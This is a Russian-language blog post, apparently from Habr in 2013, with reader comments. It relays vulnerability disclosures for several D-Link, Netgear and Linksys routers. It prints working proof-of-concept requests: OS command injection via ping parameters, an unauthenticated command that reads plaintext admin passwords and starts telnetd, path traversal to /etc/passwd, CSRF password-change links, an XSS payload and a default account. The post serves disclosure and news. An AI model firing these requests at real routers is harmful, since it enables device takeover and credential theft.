Очередные уязвимости нулевого дня в различных роутерах

    Похоже, начало года не задалось для производителей роутеров. Буквально сегодня я сообщал о критических уязвимостях в роутерах различных производителей, связанных с небезопасной обработкой протокола UPnP. И вот ещё одна новость на эту же тему. На сей раз уязвимости совершенно разные. Затронуто оборудование:

    • D-Link DIR-615, DIR-600 и DIR-300 (rev B)
    • Netgear DGN1000B
    • Cisco Linksys E1500/E2500
    • Netgear SPH200D


    Уязвимости довольно различны, но их объединяет несколько фактов: один автор и нежелание вендора выпускать патч (если верить автору).

    D'Link DIR-615
    Утверждается что проблема в ревизии H1, прошивки версии 8.04 от 4 сентября 2012 и 8.04 от 18 января 2013. Правда, я не смог найти эти версии на официальном сайте вендора.

    Выполнение произвольных команд ОС роутера


    Авторизованный пользователь может выполнить произвольную команду на устройстве, отправив GET-запрос, в котором команды будут переданы в параметре ping_ipaddr

    Пример:

    http://<IP>/tools_vct.htm?page=tools_vct&hping=0&ping_ipaddr=1.1.1.1%60COMMAND%60&ping6_ipaddr=
    
    http://<IP>/tools_vct.htm?page=tools_vct&hping=0&ping_ipaddr=1.1.1.1%60uname%20-a%60&ping6_ipaddr=
    


    ответ на команду приходит в теле HTTP-ответа:

    HTTP/1.0 200 OK
    Pragma: no-cache
    Content-Type: text/html
    
    <!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN">
    <html>
    <head>
    <script type="text/javascript" src="common.js.htm"></script>
    <script language="javascript">
    CommJs({init:INC_COMM_PAGE,group:PAGE_GROUP_TOOLS});
    var pingResult="Domain";
    var pingip="ipv4_1.1.1.1Linux DIR-615 2.6.21 #2 Fri Jan 18 16:42:24 CST 2013 mips unknown"; <<==
    var vctinfo= [
    {ethport:'0', status:'0', rate:'0', dup:'0'},
    {ethport:'1', status:'0', rate:'0', dup:'0'},
    {ethport:'2', status:'0', rate:'0', dup:'0'},
    


    Может, кто спросит: «В чём же уязвимость, если авторизованному пользователю только это возможно»? Объясню: злоумышленник может воспользоваться социальной инженерией и кинуть владельцу роутера специально сформированную ссылку.

    Раскрытие информации

    GET-запрос на адрес вида
    http://IP_роутера/gconfig.htm
    


    вернёт нам:

    var ModelName = 'DIR-615'; var systemName='DLINK-DIR615'; var FunctionList = {HAS_PRIORITY_WEB_ACCOUNT:1,PRIORITY_WEB_ACCOUNT_NUM:1,HAS_IPV6_AUTO_CONFIG:1,DHCPD_HAS_OPTION_66:1,SUPPORT_WPS_DISABLE_PINCODE:1,SUPPORT_IPV6_DSLITE:1,HAS_IPV6_6RD:0,NON_USED:0} 
    

    Изменение пароля без ввода старого


    Достаточно послать GET-запрос с таким содержимым:

    http://IP_роутера/tools_admin.htm?page=tools_admin&admin_password1=admin2&admin_password2=admin2&hostname=DIR-615
    


    Представители D-Link были оповещены о проблемах в безопасности, но заявили, что фикса не будет, т.к. по их мнению, это проблема не в их оборудовании, а в браузерах и самих пользователях их устройств.


    DIR-600 / DIR 300 - HW rev B1
    DIR-300 — уязвимы версии:
    • 2.12 от 18.01.2012
    • 2.13 от 07.11.2012


    DIR-600 — уязвимы версии:
    • 2.12b02 от 17/01/2012
    • 2.13b01 от 07/11/2012
    • 2.14b01 от 22/01/2013


    Выполнение произвольных команд ОС роутера


    Не авторизованный пользователь может выполнить произвольную команду на устройстве, отправив GET-запрос, в котором команды будут переданы в параметре cmd

    Пример — запуск сервера telnetd

    Request:
    POST /command.php HTTP/1.1
    Host: 192.168.178.222
    User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:16.0) Gecko/20100101 Firefox/16.0
    Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
    Accept-Language: de-de,de;q=0.8,en-us;q=0.5,en;q=0.3
    Accept-Encoding: gzip, deflate
    Proxy-Connection: keep-alive
    Content-Type: application/x-www-form-urlencoded; charset=UTF-8
    Referer: http://192.168.178.222/
    Content-Length: 15
    Cookie: uid=hfaiGzkB4z
    Pragma: no-cache
    Cache-Control: no-cache
    
    cmd=telnetd;
    


    Небезопасное хранение чувствительной информации



    Пароли на устройстве хранятся в открытом виде, без хеширования:
    # cat var/passwd
    "admin" "test" "0"
    


    Просмотреть текущий пароль пользователя возможно вот так:

    root@bt:~# curl --data "cmd=cat /var/passwd" http://<Target IP>/command.php
    "admin" "THESECRETPASS" "0"
    


    Раскрытие информации


    Запрос вида:
    http://Target-IP/DevInfo.txt
    


    вернёт нам:

    HTTP/1.1 200 OK
    Server: Linux, HTTP/1.1, DIR-600 Ver 2.14
    Date: Fri, 31 Dec 1999 18:04:13 GMT
    Content-Length: 267
    
    Firmware External Version: V2.14
    Firmware Internal Version: d1mg
    Model Name: DIR-600
    Hardware Version: Bx
    WLAN Domain: 826
    Kernel: 2.6.33.2
    Language: en
    Graphcal Authentication: Disable
    LAN MAC: <snip>
    WAN MAC: <snip>
    WLAN MAC: <snip>
    
    

    Представители D-Link были оповещены о проблемах в безопасности, но заявили, что фикса не будет, т.к. по их мнению, это проблема не в их оборудовании, а в браузерах и самих пользователях их устройств.



    Netgear SPH200D
    Уязвимые версии прошивок:

    Firmware Version: 1.0.4.80
    Kernel Version: 4.1-18
    Web Server Version: 1.5

    Чтение файлов на устройстве



    Авторизованный пользователь может читать файлы на устройстве
    http://IP_роутера/../../etc/passwd
    


    вернёт ответ вида:
    HTTP/1.0 200 OK
    Content-type: text/plain
    Expires: Sat, 24 May 1980.7:00:00.GMT
    Pragma: no-cache
    Server: simple httpd 1.0
    
    root:x:0:0:root:/root:/bin/bash
    demo:x:5000:100:Demo User:/home/demo:/bin/bash
    nobody:x:65534:65534:Nobody:/htdocs:/bin/bash
    


    аналогично происходит чтение каталогов:

    /../../var/
    
    HTTP/1.0 200 OK
    Content-type: text/html
    Expires: Sat, 24 May 1980.7:00:00.GMT
    Pragma: no-cache
    Server: simple httpd 1.0
    
    <H1>Index of ../../var/</H1>
    
    <p><a href="/../../var/.">.</a></p>
    <p><a href="/../../var/..">..</a></p>
    <p><a href="/../../var/.Skype">.Skype</a></p>
    <p><a href="/../../var/jffs2">jffs2</a></p>
    <p><a href="/../../var/htdocs">htdocs</a></p>
    <p><a href="/../../var/cnxt">cnxt</a></p>
    <p><a href="/../../var/ppp">ppp</a></p>
    <p><a href="/../../var/conf">conf</a></p>
    <p><a href="/../../var/bin">bin</a></p>
    <p><a href="/../../var/usr">usr</a></p>
    <p><a href="/../../var/tmp">tmp</a></p>
    


    Но т.к. необходимо быть авторизованным на устройстве и необходимо получить ответ на запрос — не совсем ясно каким образом злоумышленник может этим воспользоваться

    Межсайтовый скриптинг


    image

    Наличие «заводского» аккаунта


    По-умолчанию, на устройстве существует аккаунт с логином: паролем service:service. Я так понимаю нет возможности его поменять предоставляемыми штатными средствами.

    Производитель был уведомлён о проблемах безопасности в августе 2012, но не отреагировал.



    Linksys E1500/E2500
    Уязвимые версии прошивок:
    e1500:
    • v1.0.00 — build 9 -февраль 17, 2011
    • v1.0.04 — build 2 — март 8, 2012
    • v1.0.05 — build 1 — август 23, 2012


    e2500
    • v1.0.03


    Выполнение произвольных команд ОС роутера


    Авторизованный пользователь может выполнить произвольную команду на устройстве, отправив GET-запрос, в котором команды будут переданы в параметре ping_size

    Пример:
    http://192.168.178.199/apply.cgi?submit_button=Diagnostics&change_action=gozila_cgi&submit_type=start_ping&action=&commit=0&ping_ip=1.1.1.1&ping_size=%26COMMAND%26&ping_times=5&traceroute_ip=
    


    Раскрытие директорий


    Пример:

    POST /apply.cgi HTTP/1.1
    Host: 192.168.178.199
    User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:16.0) Gecko/20100101 Firefox/16.0
    Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
    Accept-Language: de-de,de;q=0.8,en-us;q=0.5,en;q=0.3
    Accept-Encoding: gzip, deflate
    Proxy-Connection: keep-alive
    Referer: http://192.168.178.199/Wireless_Basic.asp
    Authorization: Basic YWRtaW46YWRtaW4=
    Content-Type: application/x-www-form-urlencoded
    Content-Length: 75
    
    submit_type=wsc_method2&change_action=gozila_cgi&next_page=../../proc/version
    


    Придёт ответ вида:

    HTTP/1.1 200 Ok
    Server: httpd
    Date: Thu, 01 Jan 1970 00:00:29 GMT
    Cache-Control: no-cache
    Pragma: no-cache
    Expires: 0
    Content-Type: text/html
    Connection: close
    
    Linux version 2.6.22 (cjc@t.sw3) (gcc version 4.2.3) #10 Thu Aug 23 11:16:42 HKT 2012
    


    Изменение пароля без ввода старого


    Авторизованный пользователь может поменять пароль, отправив специально сформированный POST-запрос на устройство:

    POST /apply.cgi HTTP/1.1
    Host: 192.168.1.1
    User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:16.0) Gecko/20100101 Firefox/16.0
    Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
    Accept-Language: de-de,de;q=0.8,en-us;q=0.5,en;q=0.3
    Accept-Encoding: gzip, deflate
    Proxy-Connection: keep-alive
    Referer: http://192.168.1.1/Management.asp
    Authorization: Basic xxxx
    Content-Type: application/x-www-form-urlencoded
    Content-Length: 311
    
    submit_button=Management&change_action=&action=Apply&PasswdModify=1&http_enable=1&https_enable=0&ctm404_enable=&remote_mgt_https=0&wait_time=4&need_reboot=0&http_passwd=admin&http_passwdConfirm=admin&_http_enable=1&web_wl_filter=0&remote_management=0&nf_alg_sip=0&upnp_enable=1&upnp_config=1&upnp_internet_dis=0 
    


    CSRF-атака для смены пароля:


    http://<IP>/apply.cgi?submit_button=Management&change_action=&action=Apply&PasswdModify=1&http_enable=1&https_enable=0&ctm404_enable=&remote_mgt_https=0&wait_time=4&need_reboot=0&http_passwd=password1&http_passwdConfirm=password1&_http_enable=1&web_wl_filter=0&remote_management=1&_remote_mgt_https=1&remote_upgrade=0&remote_ip_any=1&http_wanport=8080&nf_alg_sip=0&upnp_enable=1&upnp_config=1&upnp_internet_dis=0
    


    Межсайтовый скриптинг


    POST /apply.cgi HTTP/1.1
    Host: 192.168.178.199
    User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:16.0) Gecko/20100101 Firefox/16.0
    Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
    Accept-Language: de-de,de;q=0.8,en-us;q=0.5,en;q=0.3
    Accept-Encoding: gzip, deflate
    Proxy-Connection: keep-alive
    Referer: http://192.168.178.199/Wireless_Basic.asp
    Authorization: Basic xxxx
    Content-Type: application/x-www-form-urlencoded
    Content-Length: 300
    
    submit_button=Wireless_Basic&action=Apply&submit_type=&change_action=&next_page=&commit=1&wl0_nctrlsb=none&channel_24g=0&nbw_24g=20&wait_time=3'%3balert('pwnd')//&guest_ssid=Cisco-guest&wsc_security_mode=&wsc_smode=1&net_mode_24g=mixed&ssid_24g=Cisco&_wl0_nbw=20&_wl0_channel=0&closed_24g=0
    
    

    Редирект на другой сайт



    POST /apply.cgi HTTP/1.1
    Host: 192.168.178.199
    User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:16.0) Gecko/20100101 Firefox/16.0
    Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
    Accept-Language: de-de,de;q=0.8,en-us;q=0.5,en;q=0.3
    Accept-Encoding: gzip, deflate
    Proxy-Connection: keep-alive
    Referer: http://192.168.178.199/Wireless_Basic.asp
    Authorization: Basic xxxx
    Content-Type: application/x-www-form-urlencoded
    Content-Length: 290
    
    submit_button=http://www.pwnd.pwnd%0a&action=Apply&submit_type=&change_action=&next_page=&commit=1&wl0_nctrlsb=none&channel_24g=0&nbw_24g=20&wait_time=3&guest_ssid=Cisco01589-guest&wsc_security_mode=&wsc_smode=1&net_mode_24g=mixed&ssid_24g=Cisco01589&_wl0_nbw=20&_wl0_channel=0&closed_24g=0
    




    Ссылки на первоисточник:

    1. Multiple Vulnerabilities in D'Link DIR-600 and DIR-300 (rev B)
    2. Multiple Vulnerabilities in D'Link DIR-615
    3. Multiple Vulnerabilities in Netgear SPH200D [Update: 03.02.2013]
    4. Multiple Vulnerabilities in Linksys E1500/E2500
    Поделиться публикацией
    AdBlock похитил этот баннер, но баннеры не зубы — отрастут

    Подробнее
    Реклама
    Комментарии 14
    • +10
      И за что я люблю OpenWRT?
      • +5
        А D-Link молодцы, грамотно отмазались.
        • +1
          Скорее безграмотно
          • 0
            Но ответственность перекинули.
          • +1
            «Мы тут посовещались и решили, что защититься от CSRF наши индусы не осилят, поэтому свалим всю вину на пользователя» — это грамотно?
          • +5
            Конечно грамотно. Пользователя виноваты в том что купили D-link и не поставили альтернативную прошивку.
            • 0
              По-моему, надо учредить премию за самый эпичнейший факап и в этом месяце выдать её длинку, пусть купят немного толковых программистов.
            • –2
              Вроде у всех роутеров разлогинивание по таймауту через несколько минут. Так что не вижу проблемы в этой CSRF атаке.
              • 0
                Проверил на своём DIR-615 Rev. E — ничего не сработало.
                • 0
                  «Утверждается что проблема в ревизии H1, прошивки версии 8.04 от 4 сентября 2012 и 8.04 от 18 января 2013.»
                  • 0
                    Правда, я не смог найти эти версии на официальном сайте вендора.

                    Если бы не было этой фразы, то я бы и не писал. Написал в подтверждение той цитаты, которую привели вы.
                • 0
                  По поводу Netgear: А зайти консолью и закомментить соответствующего юзера в /etc/passwd это не решает проблему?

                  Хотя это вряд ли можно назвать штатным средством…
                  • 0
                    Вполне возможно, что редактируется только в оперативной памяти, а при перезагрузке — то же самое опять будет.

                  Только полноправные пользователи могут оставлять комментарии. Войдите, пожалуйста.